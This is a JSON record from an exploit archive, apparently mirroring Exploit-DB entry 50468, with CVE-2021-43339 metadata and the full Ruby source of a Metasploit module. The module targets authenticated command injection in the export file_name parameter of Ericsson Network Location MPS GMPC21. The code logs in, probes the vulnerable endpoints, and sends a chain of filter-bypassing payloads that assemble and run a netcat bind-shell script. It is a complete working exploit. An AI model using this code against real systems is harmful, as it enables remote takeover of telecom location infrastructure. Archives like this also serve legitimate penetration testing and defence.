{"exploit":{"id":"EDB-50468","name":"Ericsson Network Location MPS GMPC21 - Remote Code Execution (RCE) (Metasploit)","description":"Ericsson Network Location MPS GMPC21 - Remote Code Execution (RCE) (Metasploit)","cves":["CVE-2021-43339"],"author":"AkkuS","published":"2021-11-02","platform":"multiple","type":"webapps","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/50468","path":"exploits/multiple/webapps/50468.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-50468.rb","vulnerabilities":[{"id":"CVE-2021-43339","state":"PUBLISHED","title":null,"titleSource":null,"description":"In Ericsson Network Location before 2021-07-31, it is possible for an authenticated attacker to inject commands via file_name in the export functionality. For example, a new admin user could be created.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-43339","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-43339"},"updatedAt":"2024-08-04T03:55:28.519Z","retrievedAt":"2026-11-27T02:40:05.764Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-50468.png?v=2","url":"https://exploitbin.com/exploits/EDB-50468","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-50468/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-50468/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'Ericsson Network Location MPS - Restrictions Bypass RCE (Meow Variant)',\n      'Description'    => %q(\n        This module exploits an arbitrary command execution vulnerability in Ericsson Network Location Mobile Positioning Systems.\n  The \"export\" feature in various parts of the application is vulnerable.\n  It is a feature made for the information in the tables to be exported to the server and imported later when required.\n  Export operations contain \"file_name\" parameter.\n  This parameter is assigned as a variable between the server commands on the backend side.\n  It allows command injection with preventions bypass operation.\n\n        \"version\":\"GMPC21\",\"product_number\":\"CSH 109 025 R6A\", \"cluster version: 21\"\n\n        /////// This 0day has been published at DEFCON29-PHV Village. ///////\n\n      ),\n      'Author'         => [\n        'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus\n      ],\n      'License'        => MSF_LICENSE,\n      'References'     =>\n        [\n          ['CVE', '2021-'],\n          ['URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon29.html'],\n          ['URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'],\n          ['URL', 'https://www.wallofsheep.com/pages/dc29#akkus']\n        ],\n      'Privileged'     => true,\n      'Payload'        =>\n        {\n          'DisableNops' => true,\n          'Space'       => 512,\n          'Compat'      =>\n            {\n              'PayloadType' => 'cmd'\n            }\n        },\n      'DefaultOptions' =>\n        {\n    'WfsDelay' => 600,\n          'RPORT' => 10083,\n          'SSL'   => true,\n          'PAYLOAD' => 'cmd/unix/bind_netcat'\n        },\n      'Platform'       => 'unix',\n      'Arch'           => ARCH_CMD,\n      'Targets'        => [['Ericsson NLG', {}]],\n      'DisclosureDate' => 'Apr 21 2021',\n      'DefaultTarget'  => 0)\n    )\n    register_options [\n  OptString.new('USERNAME',  [true, 'NLG Username']),\n        OptString.new('PASSWORD',  [true, 'NLG Password']),\n        OptString.new('TARGETURI',  [true, 'Base path for NLG application', '/'])\n    ]\n  end\n  ######################################################\n  #\n  # There are a total of 20 vulnerable areas.\n  # These areas are located in cells,psap,numbering,smpp fields.\n  # One request for each of these fields has been used for exploitation.\n  # These are listed below.\n  #\n  # /[CLS_ID]/[CLS_NODE_TYPE]/numbering/plmns/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1\n  # /[CLS_ID]/[CLS_NODE_TYPE]/smpp/export?file_name=/export/home/mpcadmin/[FILENAME]&host=[HOSTNAME] HTTP/1.1\n  # /[CLS_ID]/[CLS_NODE_TYPE]/cells/gsm/cgi_cells/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1\n  # /[CLS_ID]/[CLS_NODE_TYPE]/psap/wireless/specific_routings/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1\n  #\n  ######################################################\n\n  # for Origin and Referer headers\n  def peer\n    \"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}\"\n  end\n  # split strings to salt\n  def split(data, string_to_split)\n    word = data.scan(/\"#{string_to_split}\":\"([\\S\\s]*?)\"/)\n    string = word.split('\"]').join('').split('[\"').join('')\n    return string\n  end\n\n  def cluster\n\n    res = send_request_cgi({\n    # clusters information to API directories\n      'uri'     => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'),\n    'method'  => 'GET'\n    })\n\n    if res && res.code == 200 && res.body =~ /version/\n      cls_version = split(res.body, \"version\")\n      cls_node_type = split(res.body, \"node_type\")\n      cls_name = split(res.body, \"cluster_name\")\n      cls_id = cls_version + \"-\" + cls_node_type + \"-\" + cls_name\n      return cls_version, cls_node_type, cls_name, cls_id\n    else\n      fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!')\n    end\n  end\n\n  def permission_check(token)\n    # By giving numbers to the vulnerable areas, we can easily use them in JSON format.\n    json_urls = '{\"1\":\"/positioning_controls/gsm/\",\"2\":\"/smpp/\", \"3\":\"/cells/gsm/cgi_cells/\", \"4\":\"/psap/wireless/specific_routings/\", \"5\":\"/numbering/plmns/\"}'\n    parse = JSON.parse(json_urls)\n    cls_id = cluster[3]\n    cls_node_type = cluster[1]\n\n    i = 1\n    while i <= 6 do\n       link = parse[\"#{i}\"]\n       i +=1\n       # The cells export operation returns 409 response when frequent requests are made.\n       # Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds.\n       if link == \"/cells/gsm/cgi_cells/\"\n   sleep(7)\n       end\n       filename = Rex::Text.rand_text_alpha_lower(6)\n\n       res = send_request_cgi({\n         'uri'     => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename),\n       'method'  => 'GET',\n       'headers' =>\n           {\n         'X-Auth-Token' => token,\n             'Origin' => \"#{peer}\"\n           }\n       })\n\n       if res && res.code == 403 then # !200\n   next\n       elsif res && res.code == 200\n   return link, true\n       elsif res && res.code == 400\n   return link, true\n       elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404.\n         return \"no link\", false\n       end\n    end\n  end\n\n  def check\n    # check connection and login\n    token = login(datastore['USERNAME'], datastore['PASSWORD'])\n    res = send_request_cgi({\n      # product information check\n      'uri'     => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'),\n    'method'  => 'GET',\n    'headers' =>\n        {\n      'X-Auth-Token' => token,\n          'Origin' => \"#{peer}\"\n        }\n    })\n\n    if res && res.code == 200 && res.body =~ /version/\n    version = split(res.body, \"version\")\n    pnumber = split(res.body, \"product_number\")\n    print_status(\"Product Number:#{pnumber} - Version:#{version}\")\n      return CheckCode::Appears\n    else\n      return CheckCode::Safe\n    end\n  end\n\n  def login(user, pass)\n\n    json_login = '{\"auth\": {\"method\": \"password\",\"password\": {\"user_id\": \"' + datastore[\"USERNAME\"] + '\",\"password\": \"' + datastore[\"PASSWORD\"] + '\"}}}'\n\n    res = send_request_cgi(\n      {\n      'method' => 'POST',\n      'ctype'  => 'application/json',\n      'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'),\n      'headers' =>\n        {\n          'Origin' => \"#{peer}\"\n        },\n      'data' => json_login\n      })\n\n    if res && res.code == 200 && res.body =~ /true/\n      auth_token = split(res.body, \"authToken\")\n      return auth_token\n    else\n      fail_with(Failure::NotVulnerable, 'Login failed. Check your informations!')\n    end\n  end\n\n  def prep_payloads(token, link)\n    fifo = Rex::Text.rand_text_alpha_lower(4)\n        #/       = 2F   - y\n        #;       = 3B   - z\n        #|       = 7C   - p\n        #>&      = 3E26 - v\n        #>/      = 3E2F - g\n        #>       = 3E   - k\n        #<       = 3C   - c\n        #'       = 27   - t\n        #$       = 24   - d\n        #\\       = 5C   - b\n        #!       = 21   - u\n        #\"       = 22   - x\n        #(       = 28   - m\n        #)       = 29   - i\n        #,       = 2C   - o\n        #_       = 5F   - a\n\n  # echo `xxd -r -p <<< 2F`>y\n  payloads = '{\"1\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2F`>y&&pwd>fl\") +'\", '\n        # echo `xxd -r -p <<< 3B`>z\n  payloads << '\"2\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B`>z&&pwd>fl\") +'\", '\n  #echo `xxd -r -p <<< 7C`>p\n  payloads << '\"3\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C`>p&&pwd>fl\") +'\", '\n  #echo `xxd -r -p <<< 3E26`>v\n  payloads << '\"4\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26`>v&&pwd>fl\") +'\", '\n  #echo `xxd -r -p <<< 3E`>k\n  payloads << '\"5\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E`>k&&pwd>fl\") +'\", '\n  #echo `xxd -r -p <<< 27`>t\n  payloads << '\"6\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27`>t&&pwd>fl\") +'\", '\n  #echo `xxd -r -p <<< 24`>d\n  payloads << '\"7\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24`>d&&pwd>fl\") +'\", '\n  #echo `xxd -r -p <<< 5C`>b\n  payloads << '\"8\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C`>b&&pwd>fl\") +'\", '\n        #echo `xxd -r -p <<< 21`>u\n  payloads << '\"9\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21`>u&&pwd>fl\") +'\", '\n        #echo `xxd -r -p <<< 22`>x\n  payloads << '\"10\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22`>x&&pwd>fl\") +'\", '\n  #echo `xxd -r -p <<< 28`>m\n  payloads << '\"11\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28`>m&&pwd>fl\") +'\", '\n  #echo `xxd -r -p <<< 29`>i\n  payloads << '\"12\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29`>i&&pwd>fl\") +'\", '\n  #echo `xxd -r -p <<< 2C`>o\n  payloads << '\"13\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C`>o&&pwd>fl\") +'\", '\n  #echo `xxd -r -p <<< 5F`>a\n  payloads << '\"14\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F`>a&&pwd>fl\") +'\", '\n  #echo `xxd -r -p <<< 3C`>c\n  payloads << '\"15\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3C`>c&&pwd>fl\") +'\", '\n  #echo `xxd -r -p <<< 3E2F`>g\n  payloads << '\"16\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E2F`>g&&pwd>fl\") +'\", '\n  #echo \"mkfifo /tmp/file; (nc -l -p 1544 ||nc -l 1544)0<\" > p1\n  payloads << '\"17\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}mkfifo${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}`cat${IFS}z`${IFS}`cat${IFS}m`nc${IFS}-l${IFS}-p${IFS}#{datastore['LPORT']}${IFS}`cat${IFS}p``cat${IFS}p`nc${IFS}-l${IFS}#{datastore['LPORT']}`cat${IFS}i`0`cat${IFS}c`>p1&&pwd>fl\") +'\", '\n  #echo \"/tmp/file | /bin/sh >/tmp/file 2>&1; rm /tmp/file\" > p2\n    payloads << '\"18\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}${IFS}`cat${IFS}p`${IFS}`cat${IFS}y`bin`cat${IFS}y`sh${IFS}`cat${IFS}g`tmp`cat${IFS}y`#{fifo}${IFS}2`cat${IFS}v`1`cat${IFS}z`${IFS}rm${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}>p2&&pwd>fl\") +'\", '\n  #echo `cat p1` `cat p2` > 1.sh\n  payloads << '\"19\":\"' + Rex::Text.uri_encode(\"IFS=',.';echo${IFS}`cat${IFS}p1`${IFS}`cat${IFS}p2`>1.sh&&pwd>fl\") +'\", '\n  #chmod +x 1.sh\n  payloads << '\"20\":\"' + Rex::Text.uri_encode(\"IFS=',.';chmod${IFS}+x${IFS}1.sh&&pwd>fl\") +'\", '\n  #sh 1.sh\n  payloads << '\"21\":\"' + Rex::Text.uri_encode(\"IFS=',.';sh${IFS}1.sh&&pwd>fl\") +'\"}'\n\n  if link == \"/cells/gsm/cgi_cells/\"\n    print_status(\"Your user must be 'gmpc_celldata_admin'. That's why Expoit going to run slowly. Please be patient!\")\n  end\n\n        parse = JSON.parse(payloads)\n  cls_id = cluster[3]\n  cls_node_type = cluster[1]\n  i = 1\n  while i <= 21 do\n     pay = parse[\"#{i}\"]\n     i +=1\n     if link == \"/cells/gsm/cgi_cells/\"\n       sleep(7)\n           end\n           send_payloads(cls_id, cls_node_type, token, link, pay)\n    end\n  end\n\n\n  def send_payloads(id, type, token, link, pay)\n\n    res = send_request_cgi({\n      'uri'     => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', id, type, link, 'export?file_name=/export/home/mpcadmin/%7C' + pay),\n    'method'  => 'GET',\n    'headers' =>\n        {\n      'X-Auth-Token' => token,\n          'Origin' => \"#{peer}\"\n        }\n      })\n\n  end\n\n  ##\n  # Exploiting phase\n  ##\n  def exploit\n\n    unless Exploit::CheckCode::Appears == check\n      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')\n    end\n    auth_token = login(datastore['USERNAME'], datastore['PASSWORD'])\n    unless true == permission_check(auth_token)[1]\n      fail_with(Failure::NotVulnerable, 'The user has no permission to perform the operation!')\n    else\n      perm_link = permission_check(auth_token)[0]\n      print_good(\"Excellent! The user #{datastore['USERNAME']} has permission on #{perm_link}\")\n    end\n\n    prep_payloads(auth_token, perm_link)\n\n  end\nend","sha256":"869df6b5ba21411515ee96314d9e76eba8826149f683d613552f3a9215ad932b","bytes":12709,"fetchedAt":"2026-11-27T09:08:37.778Z","encoding":"utf-8 (display only; download retains original bytes)"}